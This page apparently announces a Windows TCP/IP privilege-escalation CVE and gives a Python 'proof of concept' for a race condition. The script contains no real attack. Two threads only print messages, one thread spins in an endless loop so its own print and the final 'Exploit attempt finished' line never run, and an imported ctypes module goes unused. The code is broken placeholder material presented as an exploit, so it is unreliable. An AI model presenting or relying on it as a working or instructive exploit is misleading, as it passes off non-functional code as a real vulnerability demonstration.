CVE-2026-27921 Windows TCP/IP权限提升漏洞

import ctypes import threading import time # Conceptual Proof of Concept for Race Condition in Windows TCP/IP # Note: This is a structural demonstration. Actual exploitation requires specific IOCTLs and memory layout. def vulnerability_thread(): """Simulates the first thread accessing the shared resource.""" try: # In a real scenario, this would invoke a specific vulnerable syscall or IOCTL print("[Thread 1] Starting resource access...") time.sleep(0.001) # Introduce a tiny delay to widen the race window print("[Thread 1] Resource check passed.") except Exception as e: print(f"Error in thread 1: {e}") def exploit_thread(): """Simulates the second thread modifying the shared resource.""" try: # This thread attempts to modify the state before Thread 1 commits while True: # Busy wait or precise timing to hit the race window pass print("[Thread 2] Resource modified!") except Exception as e: print(f"Error in thread 2: {e}") if __name__ == "__main__": print("Starting PoC for CVE-2026-27921...") t1 = threading.Thread(target=vulnerability_thread) t2 = threading.Thread(target=exploit_thread) t1.start() # Slight offset to encourage the race condition time.sleep(0.0005) t2.start() t1.join() t2.join() print("Exploit attempt finished.")